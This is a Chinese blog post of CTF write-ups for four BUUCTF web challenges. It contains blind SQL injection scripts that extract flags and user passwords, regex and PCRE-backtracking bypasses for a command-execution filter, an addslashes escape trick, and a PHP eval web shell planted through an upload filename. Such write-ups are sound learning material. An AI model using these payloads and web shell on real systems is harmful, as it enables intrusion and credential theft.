buuctf15

[WUSTCTF2020]颜值成绩查询

这题sql注入,过滤了空格测试语句

1/**/and/**/1=1
1/**/and/**/1=2

盲注:需要写脚本=:
构造payload:

1/**/and/**/substr(database(),1,1)='1'--

学习一下使用二分法进行爆破

import requests
url="http://b2b3ad31-796e-489d-8ad3-3dc8c3fc8257.node3.buuoj.cn/?stunum="
s=requests.session()
database=""
for i in range(1,10000):
low =32
high=128
mid=(low+high)//2
while(low<high):
#payload_1=f"1/**/and/**/ascii(substr(database(),{i},1))>{mid}"
#payload_2=f"1/**/and/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='ctf'),{i},1))>{mid}"
#payload_3=f"1/**/and/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'),{i},1))>{mid}"
payload_4= f"1/**/and/**/ascii(substr((select/**/value/**/from/**/flag),{i},1))>{mid}"
if "Hi admin" in s.get(url+payload_4).text:
low = mid+1
else:
high=mid
mid=(low+high)//2
if(mid==32 or mid==132):
break
database +=chr(mid)
print(database)
print(database)

二分法快了不是一倍两倍– 真的超级快==

[BSidesCF 2019]Kookie

让我们以admin的方式登录,并且提示cookie,所以我就在cookie里添加,username=admin,就可以拿到flag了

[FBCTF2019]RCEService

输入json类型数据:
https://www.cnblogs.com/skysoot/archive/2012/04/17/2453010.html

测试

{"cmd":"ls"}//有回显

然后想cat却不行,应该是有过滤==,然后去看了一下wp,说是比赛的时候有源码:

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

确实是过滤了很多内容

考点分析一下:

1.如何绕过过滤?
绕过preg_match方法有两种:
(1).preg_match会去努力的去匹配第一行,所以我们可以利用多行的方式进行绕过:

POST:
cmd={
"cmd":"/bin/cat%20/home/rceservice/flag"
}

也可以直接加一个**%0A**这个也是代表换行符
(2).利用PCRE回溯绕过
脚本

import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag ","a":"' + "a"*(1000000) + '"}'
res = requests.post("http://c7f06821-9d9b-468e-9f9f-21c3454d5c7d.node3.buuoj.cn/", data={"cmd":payload})
print(res.text)

2.为什么我们无法使用cat命令?
putenv(‘PATH=/home/rceservice/jail’)根据这行源码,读出jail应用于当前环境,我们能使用ls应该是 jali包含了执行二进制文件,所以我们可以直接拉出cat的路径:

{"cmd": "
/bin/cat /home/rceservice/flag
"}

注意:Linux命令的位置:/bin,/usr/bin,默认都是全体用户使用,/sbin,/usr/sbin,默认root用户使用

通过以上成功拿到flag

[CISCN2019 总决赛 Day2 Web1]Easyweb

image.php.bak源码泄露:

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

首先进行绕过,这里测试一下绕过语句:

select * from images where id='' or path='';
<?php
$id="\\0";
$id=addslashes($id);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
print($id);
\

可见当我们输入\\0的时候最终的结果是\逃逸出来了,设想一下,如果我们在id输入这个,那么久会变成

select * from images where id='\' or path='';
此时后面那个单引号被转义,变成是id=\' or path='
如果我们在path后插入注入语句or 1=1#,将变成
id='\' or path=' or 1=1#'

这里贴一下盲注脚本:

import requests
url = "http://803aae5e-79fb-4520-960c-d67666295f67.node3.buuoj.cn/image.php?id=\\0&path="
s=requests.session()
payload = " or ascii(substr((select password from users),{},1))>{}%23"
result = ''
for i in range(0,100):
high=127
low=32
mid= (low+high) // 2
while(high>low):
if 'JFIF' in s.get(url+payload.format(i,mid)).text:
low=mid+1
else:
high=mid
mid=(low+high)//2
result +=chr(mid)
print(result)

跑出账号密码,登陆以后发现可以上传文件:
随便上传了一个内容:

I logged the file name you uploaded to logs/upload.d74bd5e2a76d1aa9b34f21ca9e866a8b.log.php. LOL

无法上传php文件
img

但是可以发现 我们存入的文件名都出现在了这个php文件当中
如果我们传入一句话木马文件名,那么就会被这个php解析了

由于php被过滤了,所以这里我们使用短标签进行绕过:
burp抓包,改文件名为

<?=@eval($_POST['a']);?>

POST数据或者蚁剑连接都行

a=system('cat /flag');

小结

有点久没刷题了、。。罪过,这次也是收获了不少,感觉sql的调试技巧有点遗忘了,直接复制代码会本地测试就行了~

Author

vague huang

Posted on

2021-05-15

Updated on

2021-05-22

Licensed under

Comments